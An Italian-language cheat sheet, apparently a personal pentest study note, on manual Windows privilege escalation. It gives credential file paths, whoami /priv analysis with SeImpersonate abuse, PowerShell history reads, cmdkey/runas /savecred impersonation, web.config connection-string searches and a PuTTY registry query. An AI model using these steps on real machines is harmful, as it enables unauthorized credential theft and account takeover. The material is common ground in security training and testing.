tags: priv_esc windows manuale
Il RID dell'utente che ha 500 è il vero amministratoreUna volta entrati come prima cosa possiamo andare in cerca di credenziali che si potrebbero trovare in chiaro. Delle buone rotte su cui guardare sono:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\Windows\Panther\
C:\Windows\Panther\UnattendGC\
C:\Windows\System32\
C:\Windows\System32\sysprep\ In caso non si riuscissero a trovare credenziali possiamo utilizzare un comando che ci consente di vedere quali privilegi ha il nostro utente, nel senso che gli output derivati dal comando che sono Enabled potranno essere sfruttati dal nostro utente corrente, mentre quelli disabled sono presenti sulla macchina, ma il nostro utente non può utilizzarli, ecco un esempio:
PS C:\Program Files (x86)\Jenkins> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links DisabledDa questo output possiamo notare che i privilegi SeDebugPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege possono essere sfruttati dal nostro utente. Quindi per esempio si potrebbe sfruttare il privilegio SeImpersonatePrivilage per impersonare un processo di sistema ed aumentare i privilegi per esempio con Meterpreter.
Siccome powershell e cmd hanno una funzione di memorizzazione dei comandi per evitare all’utente di ricordarsi i comandi possiamo utilizzare dei comandi per farci dire quali comandi ha digitato l’utente e magari ricavare informazioni utili per una shell cmd utilizzare il seguente comando:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtMentre per powershell:
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtQuesto comando ci permette di vedere degli utenti ai quali possiamo autenticarci senza necessariamente il bisogno di una password:
cmdkey /list
#Esempio di risultato
PS C:\> cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WPRIVESC1\admin
Type: Domain Password
User: WPRIVESC1\admin
Target: Domain:interactive=WPRIVESC1\mike.katz
Type: Domain Password
User: WPRIVESC1\mike.katz
#Quindi abbiamo trovato l'utente mike.katzPer vedere le scheduled task possiamo usare il seguente comando:
schtasks Questo comando ci permette di loggarci:
runas /savecred /user:admin cmd.exe
#Quindi utilizzando l'esempio di sopra possiamo autenticarci come mike.katz senza password con il seguente comando:
runas /savecred /user:mike.katz cmd.exe
#Questo comando ci farà apparire una cmd con privilegi di mike.katzPer trovare credenziali riguardo a database e roba web possiamo cercare nelle seguenti rotte:
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.configOppure utilizzare questo comando:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStringIn Windows è possibile trovare le credenziali di accesso al servizio SSH tramite il client PuTTY con il seguente comando:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

